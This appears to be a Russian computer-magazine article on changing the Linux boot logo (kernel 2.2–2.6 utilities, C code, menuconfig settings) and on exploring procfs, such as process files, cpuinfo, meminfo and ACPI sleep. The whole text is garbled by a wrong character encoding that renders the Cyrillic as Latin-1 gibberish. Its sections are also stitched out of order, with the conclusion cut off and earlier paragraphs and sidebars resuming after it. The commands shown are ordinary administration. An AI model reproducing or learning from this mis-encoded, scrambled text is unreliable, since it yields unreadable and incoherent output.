áàðàøåê, ïîáåäèâøèé â ðèàëòàéì
ãðàôèê êîìïî

çàë, ãäå ïðîõîäèë Dihaltêîíêóðñ ïî ìåòàíèþ äèñêîâ





[intro] «Õàêàìè» (hacks) íàçûâàþòñÿ âñÿêèå õèò-
ðîñòè, çàáàâíûå øóòêè è îðèãèíàëüíûå ïðèåìû,
òîãäà êàê ïîä «õàêåðñòâîì» (hacking) òðàäèöèîí-
íî ïîíèìàåòñÿ âçëîì ïðîãðàìì èëè ñåòåâûå àòà-
êè. Âðîäå ïîõîæèå òåðìèíû, à êàêàÿ ðàçíèöà! Ýòà
ñòàòüÿ îòêðûâàåò öèêë ïóáëèêàöèé, ðàññêàçûâà-
þùèõ î òîì, ÷òî êðóòîãî ìîæíî ñäåëàòü ñ ÿäðîì
Linux. È íà÷íåì ñ ïðîñòîé çàäà÷êè � èçìåíåíèå
ëîãîòèïà ïðè çàãðóçêå îïåðàöèîííîé ñèñòåìû.
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ÊÎÌÓ ÍÅ ÕÎÒÅËÎÑÜ ÕÀÊÍÓÒÜ ßÄÐÎ LINUX?
ÊÀÆÄÛÉ ÓÂÀÆÀÞÙÈÉ ÑÅÁß ËÈÍÓÊÑÎÈÄ
ÄÎËÆÅÍ ÏÎÏÐÎÁÎÂÀÒÜ ÝÒÎ ÑÄÅËÀÒÜ! ÂÅÄÜ
LINUX, Â ÎÒËÈ×ÈÅ ÎÒ WINDOWS, ÍÀÑÒÎßÙÈÉ
ÏÎËÈÃÎÍ ÄËß ÕÀÊÅÐÑÒÂÀ, ÒÀßÙÈÉ Â ÑÅÁÅ
ÍÅÎÆÈÄÀÍÍÛÅ ÂÎÇÌÎÆÍÎÑÒÈ. ÂÇßÒÜ, ÕÎ-
Òß ÁÛ ËÎÃÎ, ÏÎßÂËßÞÙÅÅÑß ÍÀ ÝÊÐÀÍÅ.
ÏÐÈØËÀ ÏÎÐÀ ÈÇÌÅÍÈÒÜ ÅÃÎ ÏÎ ÑÂÎÅÌÓ
ÂÊÓÑÓ | Êðèñ Êàñïåðñêè àêà ìûùúõ
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[ìåíÿåì ëîãî] Îáû÷íî ïðè çàãðóçêå Linux ïîÿâëÿåòñÿ õàðàêòåðíûé
ïèíãâèí, êîòîðûì óæå íèêîãî íå óäèâèøü, è êîòîðûé óæå äîâîëüíî ñèëü-
íî ïîäíàäîåë. Õî÷åòñÿ ÷åãî-íèáóäü íîâåíüêîãî. Êàê èçìåíèòü ñòàíäàðò-
íîå ëîãî íà ÷òî-òî ñâîå? Åñòü íåñêîëüêî ïóòåé.
Íà÷íåì ñ êîìïèëÿöèè ÿäðà. Çà îòîáðàæåíèå ëîãî îòâåòñòâåííû ñëåäóþ-
ùèå ôàéëû: /usr/src/linux/drivers/video/* è /usr/src/linux/include/linux/
linux_logo.h. Âñÿêèé ðàç, êîãäà ÿäðî çàãðóæàåòñÿ â îòëàäî÷íîì (debug)
èëè ìîë÷àëèâîì (quiet) ðåæèìå, ýòè ôàéëû (êîíå÷íî æå, â îòêîìïèëèðî-
âàííîì âèäå) ïîëó÷àþò óïðàâëåíèå è âûâîäÿò èçîáðàæåíèå íà ýêðàí. Ñà-
ìî ëîãî îáèòàåò â ôàéëå linux_logo.h, ãäå îíî õðàíèòñÿ â âèäå îáûêíîâåí-
íîãî ìàññèâà äàííûõ, êóñî÷åê êîòîðîãî äëÿ íàãëÿäíîñòè ïðèâåäåí íèæå.

[ôðàãìåíò ôàéëà linux_logo.h, ñîäåðæàùèé logo]

unsigned char linux_logo_bw[] __initdata = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x3F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F,
0xFE, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0x3F, 0xFF, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFE, 0x7F, 0xFF, 0xC7, 0xFF, 0xFF,

Èçìåíÿòü åãî ìîæíî êàê âðó÷íóþ, òàê è àâòîìàòè÷åñêè. Ðó÷íîé ðåæèì
ìû òðîãàòü íå áóäåì, ïîñêîëüêó íè÷åãî èíòåðåñíîãî â íåì íåò (ñïëîø-
íàÿ ðóòèíà), ãîðàçäî ïðîùå çàïóñòèòü ñïåöèàëüíóþ óòèëèòó � îíà âñå
ñäåëàåò ñàìà. Â îòëè÷èå îò ìèðà Windows, ïîãðóæåííîãî â êîðïîðàòèâ-
íûé ìðàê, â êîòîðîì áðîäÿò çóáàñòûå ìîíñòðû, ïîä Linux íàðîä èñõîä-
íèêè íå çàæèìàåò, è ìû ìîæåì ëåãêî ïðîàíàëèçèðîâàòü, ÷òî äåëàåò òà
èëè èíàÿ ïðîãðàììà, è íóæíî ëè ýòî íàì. Íå ñòîèò çàáûâàòü, ÷òî âìåøà-
òåëüñòâî â ÿäðî âñåãäà ÷ðåâàòî ôàòàëüíûìè ïîñëåäñòâèÿìè. Îäèí íå-
âåðíûé øàã � è ñèñòåìà îòêàçûâàåòñÿ çàãðóæàòüñÿ èëè óíè÷òîæàåò âñå
äàííûå æåñòêîãî äèñêà ïîä ÷èñòóþ. Ïîýòîìó ïåðåä âñÿêîé óñòàíîâêîé
ïîòåíöèàëüíî íåáåçîïàñíîé ïðîãðàììû íåîáõîäèìî ïðîëèñòàòü åå èñ-
õîäíûé òåêñò è ïîñìîòðåòü, êàêèå èìåííî ôàéëû îíà èçìåíÿåò. Îñòàåò-
ñÿ òîëüêî çàðåçåðâèðîâàòü èõ íà äèñêåòó, áîëâàíêó èëè ôëåøêó, à çàã-
ðóçèòüñÿ âñåãäà ìîæíî ñ Live CD.
Ìû áóäåì èñïîëüçîâàòü óòèëèòó logo, êîòîðóþ ìîæíî ñêà÷àòü ñ äåìîê-
ðàòè÷íîãî áåëüãèéñêîãî ñåðâåðà: members.chello.be/cr26864/Linux/
fbdev/logo.tar.bz2. Ðàñïàêîâàâ àðõèâ, ìû îáíàðóæèì òðè Ñè-ôàéëà è
îäèí makefile. Äâîè÷íûõ ôàéëîâ, óâû, íåò, è èõ ïðèõîäèòñÿ êîìïèëèðî-
âàòü ñàìîñòîÿòåëüíî. Ïîääåðæèâàþòñÿ äâå âåðñèè ÿäåð � ñ íîìåðàìè
2.2 è 2.4. Äëÿ âåðñèè 2.6 íóæåí îñîáûé ïîäõîä, î êîòîðîì ìû ÷óòü ïîç-
æå è ïîãîâîðèì, à ïîêà âåðíåìñÿ ê íàøåé òåêóùåé çàäà÷å.
Àíàëèç ïîêàçûâàåò, ÷òî óòèëèòà logo ôàêòè÷åñêè ñîñòîèò èç äâóõ



Àëãîðèòì ðàáîòû ïîíÿòü íåòðóäíî. Êàê ìû âèäèì, â ïðîöåññå èçìå-
íåíèÿ ëîãî ìîäèôèöèðóþòñÿ ôàéëû logo_2_4.ppm, logo_bw_2_4.pbm
è logo16_2_4.ppm, êîòîðûå ìû è äîëæíû ñîõðàíèòü íà «ñïàñàòåëü-
íóþ» äèñêåòó ïåðåä çàïóñêîì óòèëèòû. Ïîäðîáíåå îá ýòîì õàêå ìîæ-
íî ïî÷èòàòü â ñòàòüå HOWTO Linux Logo Hack (gentoo-wiki.com/
HOWTO_Linux_Logo_Hack).
À âîò äðóãîé ñïîñîá èçìåíåíèÿ ëîãî, ïîäõîäÿùèé äëÿ ñòàðûõ ÿäåð 2.2.x,
êîòîðûå âñå åùå âñòðå÷àþòñÿ â ïðèðîäå. Ñíà÷àëà çàáýêàïèì îðèãè-
íàëüíûé ôàéë /usr/include/linux/linux_logo.h (âïðî÷åì, åñëè áýêàïà íå áó-
äåò, åãî âñåãäà ìîæíî ñêà÷àòü èç Ñåòè), çàòåì ïîäãîòàâëèâàåì ñâîå
ñîáñòâåííîå ëîãî â ôîðìàòå xpm ñ ðàçðåøåíèåì 80õ80 ïèêñåëåé è ïà-
ëèòðîé *ðîâíî* èç 214 öâåòîâ (â ýòîì íàì îïÿòü-òàêè ïîìîæåò Gimp),
íàòðàâëèâàåì íà íåå óòèëèòó boot_logo-1.01 (lug.umbc.edu/~mabzug1/
boot_logo-1.01), ïðåäñòàâëÿþùóþ ñîáîé îáûêíîâåííûé ïåðëîâûé
ñêðèïò, çàïóùåííûé ñëåäóþùèì îáðàçîì:

# boot_logo-1.01 your_image.xpm > linux_logo.h

È, åñëè âñå ïðîéäåò áåç îøèáîê, â òåêóùåé äèðåêòîðèè îáðàçóåòñÿ
ôàéë linux_logo.h, êîòîðûé íàì ïðåäñòîèò ñêîïèðîâàòü â êàòàëîã:
/usr/include/linux. Òåïåðü íåîáõîäèìî ïåðåêîìïèëèðîâàòü ÿäðî è ïåðå-
çàãðóçèòüñÿ. Åñëè ìû íå ïîâèñíåì, íà ýêðàíå âûñâåòèòñÿ íîâîå ëîãî, êî-
òîðîå ìîæåò âûãëÿäåòü, íàïðèìåð, òàê, êàê ïîêàçàíî íà ðèñóíêå «âèäî-
èçìåíåííîå ëîãî». Åñëè âîçíèêíóò òðóäíîñòè, ìîæíî îáðàòèòüñÿ çà ïî-
ìîùüþ ê lug.umbc.edu/~mabzug1/boot_logo.html.

[ïðåïàðèðóåì 2.6] Ñ ÿäðîì 2.6 âñå íàìíîãî ïðîùå. Ñîçäàåì èçîáðà-
æåíèå â ôîðìàòå png ëþáîãî ðàçóìíîãî ðàçìåðà è ïðîïóñêàåì åãî ÷å-
ðåç øòàòíóþ óòèëèòó pngtopnm, çàïóùåííóþ ñî ñëåäóþùèìè êëþ÷àìè
êîìàíäíîé ñòðîêè:

# pngtopnm logo.png | pnmtoplainpnm > logo_linux_clut224.ppm

À çàòåì ïîëó÷åííûé ôàéë ïåðåáðàñûâàåì íà ìåñòî ïîñòîÿííîé äèñëî-
êàöèè:

# cp logo_linux_clut224.ppm /usr/src/linux/drivers/video/logo/

Îñòàåòñÿ íàñòðîèòü ÿäðî, äëÿ ÷åãî ìîæíî âîñïîëüçîâàòüñÿ èíòåðàêòèâ-
íûì êîíôèãóðàòîðîì. Ñðåäè ïðî÷èõ ïîëåçíûõ (è íå î÷åíü) ïóíêòîâ â
íåì áóäåò Bootup logo è Standard 224-color Linux logo. Âîò èõ-òî è íåîá-
õîäèìî «âçâåñòè».

[èíòåðàêòèâíîå êîíôèãóðèðîâàíèå ëîãî â kernel 2.6]

Device Drivers ->
Graphics Support ->

[*] Support for frame buffer devices
[*] VESA VGA graphics support

Console display driver support ->
[*] Video mode selection support
<*> Framebuffer Console support
[*]Select compiled-in fonts
[*]VGA 8x16 font

Logo configuration ->
[*] Bootup logo
[*] Standard 224-color Linux logo

Ïåðåêîìïèëèðóåì ÿäðî, çàïóñòèâ make, è íàñòîèì êîíôèãóðàöèîí-
íûé ôàéë /boot/grub/menu.lst, äîáàâèâ êëþ÷ vga=0x318. Â èòîãå ïîëó-
÷èòñÿ òàêàÿ çàïèñü: kernel (hd0,0)/vmlinuz root=/dev/sda3 vga=0x318.
Ïåðåçàãðóçèìñÿ. Íîâîå ëîãî òîðæåñòâåííî ïîÿâèòñÿ íà ýêðàíå, ñèÿÿ
âñåìè ñâîèìè 224-öâåòàìè. Êðàñèâî? Îäíàêî íàñòîÿùèå õàêåðû
ïðèçíàþò òîëüêî òåêñòîâîé òåðìèíàë è êîíñîëüíûé ðåæèì ñ ANSI-
ïñåâäîãðàôèêîé, à GUI ïðîãîíÿþò ïðî÷ü. Áîëüøîé ïîïóëÿðíîñòüþ
ïîëüçóþòñÿ ASCII-ëîãî, êîòîðûå ìîæíî óñòàíîâèòü ñ ïîìîùüþ ïðîã-
ðàììû Linux_logo (www.deater.net/weave/vmwprod/linux_logo/). Òàì
æå íà ñåðâåðå íàõîäèòñÿ êîëëåêöèÿ ãîòîâûõ îáðàçöîâ, äâà èç êîòî-
ðûõ ïðèâåäåíû íèæå.

[çàêëþ÷åíèå] Âîò ìû è õàêíóëè ïèíãâèíà, ïðè÷åì, íå îäíèì, à ñðà-
çó íåñêîëüêèìè ñïîñîáàìè. Ïðîñòîð äëÿ òâîð÷åñòâà çäåñü ïîèñòèíå
áåçãðàíè÷åí, è ïîèñê ïî êëþ÷åâûì ñëîâàì linux logo â Èíòåðíåòå âû-
äàåò îãðîìíîå êîëè÷åñòâî ðåñóðñîâ, îäèí èíòåðåñíåå äðóãîãî. Òàê
÷òî íàëåòàéòå 

÷àñòåé: êîíâåðòîðà âõîäíîãî èçîáðàæåíèÿ, êîòîðûé íàõîäèòñÿ â
ôàéëå pnmtologo.c, è íåïîñðåäñòâåííî ñàìîãî ïàò÷åðà ÿäðà, ñîñðå-
äîòî÷åííîãî â ôàéëàõ logo_2_2.c è logo_2_4.c (êàæäûé äëÿ ñâîåé
âåðñèè ÿäðà). Ñòðîãî ãîâîðÿ, logo_2_4.c âêëþ÷àåò â ñåáÿ ýêñòðàêòîð
òåêóùåãî ëîãî è ïàò÷åð, à logo_2_2.c òîëüêî ýêñòðàêòîð ëîãî ñòàðîãî
ôîðìàòà, íî ýòî óæå äåòàëè. Ñàìî æå logo â îáîèõ ñëó÷àÿõ ïðåäñòàâ-
ëÿåò ñîáîé îáûêíîâåííûé pcx-ôàéë ñ ãëóáèíîé öâåòíîñòè íå áîëåå
256 öâåòîâ è îáùåé ïëîùàäüþ íå áîëåå ÷åì 786432 ïèêñåëåé (÷òî
ñîîòâåòñòâóåò ðàçðåøåíèþ 1024x768).
Êîíâåðòîð íàì ñîâåðøåííî íåèíòåðåñåí (êñòàòè ãîâîðÿ, âìåñòî íåãî
ìîæíî âîñïîëüçîâàòüñÿ ïëàãèíîì äëÿ ðåäàêòîðà Gimp: registry.gimp.org/
detailview.phtml?plugin=Linux+Logo), à âîò ê ýêñòðàêòîðó/ïàò÷åðó ìû
ïðèñìîòðèìñÿ ïîâíèìàòåëüíåå.

[îäèí èç êëþ÷åâûõ ôðàãìåíòîâ ôàéëà logo_2_4.c, èçìåíÿþùåãî ëîãî]

static struct entry{unsigned char red; unsigned char green; unsigned char
blue;} palette16[16] = {

{ 0, 0, 0,     }, { 0, 0, 170,    }, { 0, 170, 0,    }, { 0, 170, 170,  },
{ 170, 0, 0,   }, { 170, 0, 170,  }, { 170, 85, 0,   }, { 170, 170, 170,},
{ 85, 85, 85,  }, { 85, 85, 255,  }, { 85, 255, 85,  }, { 85, 255, 255, },
{ 255, 85, 85, }, { 255, 85, 255, }, { 255, 255, 85, }, { 255, 255, 255 },

};

static void write_logo16(const char *filename, const unsigned char
*data)
{

FILE *stream; int i, j, d;
stream = fopen(filename, "w");
if (!stream) { perror("file open error: "); exit(1); }
fputs("P3\n80 80\n255\n", stream);
for (i = 0; i < 80*80/2; i += 2)
{

for (j = 0; j < 2; j++)
{

d = data[i+j] >> 4;
fprintf(stream, " %3d %3d %3d", palette16[d].red,
palette16[d].green, palette16[d].blue);
d = data[i+j] & 15;
fprintf(stream, " %3d %3d %3d", palette16[d].red,
palette16[d].green, palette16[d].blue);

} fputc('\n', stream);
} fclose(stream);

}

int main(int argc, char *argv[])
{

write_logo("logo_2_4.ppm",linux_logo,linux_logo_red,linux_logo_green,l
inux_logo_blue);

write_logo_bw("logo_bw_2_4.pbm", linux_logo_bw);
write_logo16("logo16_2_4.ppm", linux_logo16);

return 0;
} [X
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ñòàíäàðòíîå ëîãî âèäîèçìåíåííîå ëîãî

íåñòàíäàðòíîå ASCII-ëîãî



ìåòðû ÿäðà «íà ëåòó». ×òî èíòåðåñíî, procfs íå ñóùåñòâóåò íè íà ôèçè-
÷åñêîì äèñêå, íè â îïåðàòèâíîé ïàìÿòè. Êîãäà ïðîèñõîäèò îáðàùåíèå ê
êàêîìó-ëèáî èç ôàéëîâ, êîòîðûé íàõîäèòñÿ â êàòàëîãå /proc (èìåííî ê
íåìó îáû÷íî ìîíòèðóåòñÿ ýòà ÔÑ), ÿäðó ïåðåäàåòñÿ ñîîòâåòñòâóþùåå
ñîîáùåíèå è îíî, â îòâåò, îòäàåò íåîáõîäèìóþ èíôîðìàöèþ. Òàêèì îá-
ðàçîì, ñîçäàåòñÿ èëëþçèÿ ðàáîòû ñ íàñòîÿùåé ÔÑ, ðàñïîëîæåííîé íà
æåñòêîì äèñêå. Ñ procfs ðàáîòàåò î÷åíü áîëüøîå êîëè÷åñòâî ïðîãðàìì,
ïîýòîìó îíà ÿâëÿåòñÿ æèçíåííî âàæíîé äëÿ ëþáîãî Linux-äèñòðèáóòèâà.

[ïðîöåññû â ðàçðåçå] Ðàç óæ procfs çàäóìûâàëàñü êàê «ôàéëîâàÿ
ñèñòåìà ïðîöåññîâ», òî è íà÷íåì èìåííî ñ ýòîé ôóíêöèè. Åñëè òû çàãëÿ-
íåøü â êàòàëîã /proc, òî óâèäèøü ìíîæåñòâî êàòàëîãîâ ñ èìåíàìè, ñî-
ñòîÿùèìè òîëüêî èç öèôð. Òàêîå èìÿ óêàçûâàåò íà PID ïðîöåññà è ñî-
äåðæèò èíôîðìàöèþ, îòíîñÿùóþñÿ ê ïðîöåññó ñ ýòèì èäåíòèôèêàòî-
ðîì. Íàïðèìåð, èíôîðìàöèþ î ïðîöåññå init, êîòîðûé âñåãäà èìååò PID,
ðàâíûé åäèíèöå, ìîæíî íàéòè â êàòàëîãå /proc/1. Åñòü åùå îäèí ñïå-
öèàëüíûé ýëåìåíò êàòàëîãà, îòíîñÿùèéñÿ ê ïðîöåññàì: /proc/self. Ýòî
ññûëêà óêàçûâàåò íà ïðîöåññ, â äàííûé ìîìåíò ðàáîòàþùèé ñ êàòàëî-
ãîì /proc. Òåïåðü ðàçáåðåìñÿ ñ ñîäåðæèìûì òàêèõ êàòàëîãîâ. Ïåðâûé
ôàéë, íà êîòîðûé ñëåäóåò îáðàòèòü âíèìàíèå: cmdline. Ýòî ñòðîêà çàïó-
ñêà ïðîöåññà, òî åñòü  èìÿ ïðîãðàììû è àðãóìåíòû. Åñëè ýòîò ôàéë íè-
÷åãî íå ñîäåðæèò, çíà÷èò, ïðîöåññ íàõîäèòñÿ â swap èëè ïðåâðàòèëñÿ â
çîìáè. Òàêæå â êàòàëîãå íàõîäèòñÿ ññûëêà ñ èìåíåì exe, óêàçûâàþùàÿ
íà èñïîëíÿåìûé ôàéë, ïðè çàïóñêå êîòîðîãî áûë ïîðîæäåí ïðîöåññ. Òà-
êèì îáðàçîì, ìîæíî çàïóñòèòü êîïèþ ïðîöåññà. Åùå äâå ññûëêè root è
cwd óêàçûâàþò íà êîðåíü ôàéëîâîé ñèñòåìû è òåêóùèé ðàáî÷èé êàòà-
ëîã ïðîöåññà. Î÷åíü ïîëåçíûì ìîæåò îêàçàòüñÿ ñîäåðæèìîå ôàéëà en-
viron, â íåì òû íàéäåøü îêðóæåíèå ïðîöåññà (óíàñëåäîâàííûå ïåðåìåí-
íûå îêðóæåíèÿ). Îáðàòè âíèìàíèå, ÷òî ñòðîêè ôàéëà ðàçäåëåíû íå ñèì-
âîëîì íîâîé ñòðîêè, à íóëåâûì ñèìâîëîì (çíàþùèå Ñè ïîéìóò, ïî÷åìó
òàê ñäåëàíî). Ïîýòîìó, ÷òîáû ïðåäñòàâèòü ñîäåðæèìîå ôàéëà â óäîáî-
÷èòàåìîì âèäå, ïðèäåòñÿ âûïîëíèòü òàêóþ êîìàíäó:

# cat /proc/PID/environ | tr "\0" "\n" | less

Åñëè óæ ãîâîðèòü îá îêðóæåíèè ïðîöåññîâ, òî ñëåäóåò óïîìÿíóòü è î êà-
òàëîãå fd, êîòîðûé ñîäåðæèò ññûëêè íà ôàéëû, îòêðûòûå ïðîöåññîì.
Èìÿ ññûëêè ïðåäñòàâëÿåò ñîáîé ôàéëîâûé äåñêðèïòîð. Êàê èçâåñòíî,
ôàéëîâûå äåñêðèïòîðû 0, 1 è 2 ëþáîãî ïðîöåññà ïðåäñòàâëÿþò ñîáîé
ñòàíäàðòíûå ïîòîêè ââîäà, âûâîäà è âûâîäà îøèáîê. Ïîýòîìó äëÿ
îáû÷íîé êîíñîëüíîé ïðîãðàììû âñå òðè ôàéëà áóäóò ññûëàòüñÿ íà òåð-
ìèíàëüíîå óñòðîéñòâî (/dev/vc/* äëÿ êîíñîëè è /dev/pts/* äëÿ xterm). Â
ñëó÷àå ñ äåìîíàìè, ôàéëû áóäóò óêàçûâàòü ëèáî íà /dev/null, ëèáî âîîá-
ùå áóäóò îòñóòñòâîâàòü (åñëè ïðîãðàììà çàêðûëà ôàéëîâûå äåñêðèïòî-
ðû). Çíàÿ âûøåèçëîæåííîå, ìîæíî ïðîäåëûâàòü èíòåðåñíûå òðþêè, íà-
ïðèìåð, ïåðåíàïðàâëÿòü âûâîä ïðîãðàììû íà åå ïîòîê ââîäà:

# command > /proc/self/fd/0

Èñïîëüçóÿ procfs, òàêæå ìîæíî óçíàòü, êàêîå àäðåñíîå ïðîñòðàíñòâî çà-
íèìàåò ïðîöåññ. Òàêàÿ èíôîðìàöèÿ äîñòóïíà â ôàéëå maps, ïðåäñòà-
âëåííîì â âèäå ñòðîê. Êàæäàÿ ñòðîêà èìååò ñëåäóþùèé ôîðìàò: àäðå-
ñíîå ïðîñòðàíñòâî, ïðàâà, ñìåùåíèå â èñïîëíÿåìîì ôàéëå, óñòðîéñòâî,
íà êîòîðîì ðàñïîëîæåí ôàéë, íîìåð ôàéëîâîãî äåñêðèïòîðà, ïóòü äî
èñïîëíÿåìîãî ôàéëà èëè áèáëèîòåêè. Ýòîò ôàéë î÷åíü ïîëåçåí, åñëè
íóæíî óçíàòü, êàêèå áèáëèîòåêè, îòêóäà è ïî êàêèì àäðåñàì çàãðóæàåò
ïðîöåññ. Ïîïóëÿðíàÿ ïðîãðàììà lsof àêòèâíî èñïîëüçóåò ýòè ñâåäåíèÿ.
Ñòàòèñòè÷åñêèå äàííûå î ïðîöåññå ïðåäñòàâëåíû â ôàéëàõ stat, statm è
status. Ïåðâûå äâà èìåþò «ñûðîé» ôîðìàò, äîâîëüíî íåïëîõî âîñïðèíè-
ìàåìûé ïðîãðàììèñòàìè (íî íèêàê íå îáû÷íûìè ïîëüçîâàòåëÿìè). Çà-
òî status ïðåäîñòàâëÿåò òó æå èíôó, íî â ÷èòàáåëüíîì âèäå. Èç íàçâà-
íèé ïîëåé ëåãêî ïîíÿòü èõ íàçíà÷åíèå, ïîýòîìó íå áóäó âäàâàòüñÿ â ïî-
äðîáíîñòè.

[îáùèå ñâåäåíèÿ î procfs] Â ïåðâóþ î÷å-
ðåäü, âèðòóàëüíàÿ ôàéëîâàÿ ñèñòåìà procfs
ïðåäíàçíà÷åíà äëÿ ïîëó÷åíèÿ èíôîðìàöèè î
çàïóùåííûõ ïðîöåññàõ � èìÿ, óíèêàëüíûé
èäåíòèôèêàòîð, îòâåäåííàÿ ïàìÿòü è ò.ä. Â Li-
nux îíà òàêæå îáåñïå÷èâàåò ïîëüçîâàòåëÿ èí-
ôîðìàöèåé î æåëåçå, ôàéëîâûõ ñèñòåìàõ, ïðå-
äîñòàâëÿåò äîñòóï ê ñèñòåìíîé ñòàòèñòèêå, 
à òàêæå ïîçâîëÿåò èçìåíÿòü íåêîòîðûå ïàðà-
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Â ÒÎ ÂÐÅÌß, ÊÀÊ Â ÄÐÓÃÈÕ ÎÏÅÐÀÖÈÎÍÍÛÕ
ÑÈÑÒÅÌÀÕ ÄËß ÏÐÅÄÎÑÒÀÂËÅÍÈß ÏÎËÜÇÎ-
ÂÀÒÅËÞ ÂÎÇÌÎÆÍÎÑÒÈ ÊÎÍÒÐÎËÈÐÎÂÀÒÜ
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Èññëåäóåì âèðòóàëüíóþ
ôàéëîâóþ ñèñòåìó procfs



[àïïàðàòíûé óðîâåíü] Ïîñðåä-
ñòâîì /proc î æåëåçå ìîæíî óçíàòü
ìíîãîå: èíôîðìàöèþ îá èìåþùèõñÿ
ïðîöåññîðàõ, îïåðàòèâíîé ïàìÿòè,
PCI-øèíå è ò.ä. Âñå äàííûå ïðåäî-
ñòàâëÿþòñÿ â ðåàëüíîì âðåìåíè.
Ýòî çíà÷èò, ÷òî ïîäöåïèâ ê êîìïó êà-
êîå-íèáóäü plug'n'play óñòðîéñòâî, òû
òóò æå ñìîæåøü ñ ïîìîùüþ procfs
ïîëó÷èòü î íåì ïîëíîå ïðåäñòàâëå-
íèå. Äëÿ íà÷àëà çàãëÿíåì â ôàéë
/proc/cpuinfo, êîòîðûé ñîäåðæèò, êàê
ìîæíî äîãàäàòüñÿ, èíôîðìàöèþ î
öåíòðàëüíîì ïðîöåññîðå. Èç ïîëåé,
çàñëóæèâàþùèõ âíèìàíèÿ, ÿ áû îò-

ìåòèë ñëåäóþùèå: vendor_id � ñòðîêà, èäåíòèôèöèðóþùàÿ ïîñòàâùè-
êà ïðîöåññîðà, model name � ìîäåëü ïðîöåññîðà (íàïðèìåð, AMD Sem-
pron(tm) 2600+), cpu MHz � ÷àñòîòà ðàáîòû ïðîöåññîðà (òî÷íîñòü äî òû-
ñÿ÷íîé äîëè), cache size � îáúåì êýø-ïàìÿòè, flags � ïîääåðæèâàåìûå
íàáîðû èíñòðóêöèé (òàêèå, êàê MMX è SSE). Òàêæå âçãëÿíè íà ïîëå bo-
gomips � ýòî ïñåâäîòåñò ïðîèçâîäèòåëüíîñòè ïðîöåññîðà.
Äàëåå ïî ïðèîðèòåòó èäåò, êîíå÷íî æå, èíôîðìàöèÿ îá îïåðàòèâêå, êî-
òîðàÿ ëåãêî èçâëåêàåòñÿ èç ôàéëà /proc/meminfo. Ïîëåé òóò äîñòàòî÷íî
ìíîãî, è èõ êîëè÷åñòâî çàâèñèò îò îïöèé, ñ êîòîðûìè áûëî ñîáðàíî
ÿäðî (íàïðèìåð, highmem). Îáùåå êîëè÷åñòâî îïåðàòèâíîé ïàìÿòè óêà-
çûâàåòñÿ â ïîëå MemTotal. Íå óäèâëÿéñÿ, åñëè íå áóäåò õâàòàòü 2�5
áàéò, îíè óøëè íà ðàçìåùåíèå ÿäðà â ïàìÿòè è íå äîñòóïíû ïîëüçîâà-
òåëüñêèì ïðîãðàììàì. ×òî òàêîå MemFree, ÿ îáúÿñíÿòü íå áóäó, à âîò
ïîëÿ Buffers è Cached äîâîëüíî èíòåðåñíû. Ïåðâîå óêàçûâàåò îáúåì ïà-
ìÿòè, îòâåäåííûé ïîä êýø æåñòêîãî äèñêà, à âòîðîå îòðàæàåò êîëè÷å-
ñòâî êýøèðîâàííûõ ñ äèñêà ôàéëîâ. Èíôîðìàöèÿ î swap-îáëàñòÿõ íà-
õîäèòñÿ â ïîëÿõ SwapTotal è SwapFree. Ñòàíäàðòíàÿ êîìàíäà free ïîëó-
÷àåò èíôîðìàöèþ èç ýòîãî ôàéëà.
Ïîëíóþ èíôîðìàöèþ î âñåõ PCI-óñòðîéñòâàõ, íàéäåííûõ âî âðåìÿ çà-
ãðóçêè Linux, òû íàéäåøü â ôàéëå /proc/pci. PCI-øèíà â ñîâðåìåííûõ ÏÊ
ÿâëÿåòñÿ íå òîëüêî øèíîé ðàñøèðåíèÿ, íî è áàçîé äëÿ äðóãèõ øèí (íà-
ïðèìåð, USB), ïîýòîìó /proc/pci, êðîìå èíôîðìàöèè ïî ïîäêëþ÷åííûì
óñòðîéñòâàì, ïðåäîñòàâëÿåò äàííûå î ðàçëè÷íûõ êîíòðîëëåðàõ è äðó-
ãèõ øèíàõ. Íàñòîÿòåëüíî ðåêîìåíäóþ âêëþ÷èòü â ÿäðå êîïèþ Bus op-
tions (PCI, PCMCIA, EISA, MCA, ISA) ! PCI device name database. Ïîñëå
ýòîãî èçìåíåíèÿ ÿäðî ðàñïóõíåò íà 80 Êá, çàòî âñå PCI-óñòðîéñòâà áó-
äóò èìåòü îñìûñëåííûå èìåíà âìåñòî Unknown.
Èíôîðìàöèÿ î äðóãèõ óñòðîéñòâàõ, ïîäêëþ÷åííûõ ê PS/2 (ìûøü, êëà-
âèàòóðà) è USB ïîðòàì, íàõîäèòñÿ â ôàéëàõ /proc/bus/input/devices è
/proc/bus/usb/devices. Ïðè÷åì äëÿ òîãî, ÷òîáû âòîðîé ôàéë ïðèñóòñòâî-
âàë â îïåðàöèîíêå, ÿäðî äîëæíî áûòü ñîáðàíî ñ îïöèåé Device Drivers !
USB support ! USB device filesystem.
Òåïåðü ïåðåéäåì ê ACPI, êîòîðàÿ, â ïåðâóþ î÷åðåäü, ÿâëÿåòñÿ ñèñòåìîé
óïðàâëåíèÿ ïèòàíèåì è ýíåðãîïîòðåáëåíèåì. Â procfs ïðåäóñìîòðåíà
âîçìîæíîñòü ïåðåâîäà ñèñòåìû â ðàçëè÷íûå íåýíåðãîåìêèå ñîñòîÿíèÿ
ñíà. Âñå ïîääåðæèâàåìûå ìàòåðèíñêîé ïëàòîé ñîñòîÿíèÿ ïåðå÷èñëåíû
â ôàéëå /proc/acpi/sleep.
Òåáå ïðèäåòñÿ âêëþ÷èòü â ÿäðå îïöèþ Power management options (ACPI,
APM) ! acpi � ACPI... ! Sleep States äëÿ òîãî, ÷òîáû ïîëó÷èòü âîçìîæ-
íîñòü óïðàâëÿòü ñîñòîÿíèÿìè ACPI. Äëÿ S4 ïîíàäîáèòñÿ åùå è îïöèÿ
Power management options (ACPI, APM ! Software Suspend, à òàêæå
íåîáõîäèìî äîáàâèòü resume=/dev/ãäå_ó_òåáÿ_ñâîï â îïöèè çàãðóçêè
ÿäðà.
Ïåðåâåñòè ÏÊ â ðåæèì ñíà î÷åíü ïðîñòî. Äîñòàòî÷íî çàïèñàòü â ôàéë
/proc/acpi/sleep íîìåð ñîñòîÿíèÿ. Íàïðèìåð, òàê:

$ echo 3 > /proc/acpi/sleep

